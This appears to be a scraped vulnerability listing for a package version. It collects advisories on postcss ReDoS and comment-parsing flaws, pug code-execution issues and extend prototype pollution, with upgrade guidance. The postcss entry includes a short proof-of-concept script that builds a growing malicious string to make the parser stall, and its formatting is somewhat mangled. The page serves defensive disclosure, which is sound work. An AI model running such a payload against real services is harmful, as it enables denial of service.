All the vulnerabilities related to the version 0.8.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Pug allows JavaScript code execution if an application accepts untrusted input
Pug through 3.0.2 allows JavaScript code execution if an application accepts untrusted input for the name option of the compileClient
, compileFileClient
, or compileClientWithDependenciesTracked
function. NOTE: these functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.
Remote code execution via the pretty
option.
If a remote attacker was able to control the pretty
option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remote code execution on the node.js backend.
Upgrade to pug@3.0.1
or pug-code-gen@3.0.2
or pug-code-gen@2.0.3
, which correctly sanitise the parameter.
If there is no way for un-trusted input to be passed to pug as the pretty
option, e.g. if you compile templates in advance before applying user input to them, you do not need to upgrade.
Original report: https://github.com/pugjs/pug/issues/3312
If you believe you have found other vulnerabilities, please DO NOT open an issue. Instead, you can follow the instructions in our Security Policy
Pug allows JavaScript code execution if an application accepts untrusted input
Pug through 3.0.2 allows JavaScript code execution if an application accepts untrusted input for the name option of the compileClient
, compileFileClient
, or compileClientWithDependenciesTracked
function. NOTE: these functions are for compiling Pug templates into JavaScript, and there would typically be no reason to allow untrusted callers.
Prototype Pollution in extend
Versions of extend
prior to 3.0.2 (for 3.x) and 2.0.2 (for 2.x) are vulnerable to Prototype Pollution. The extend()
function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.
If you're using extend
3.x upgrade to 3.0.2 or later.
If you're using extend
2.x upgrade to 2.0.2 or later.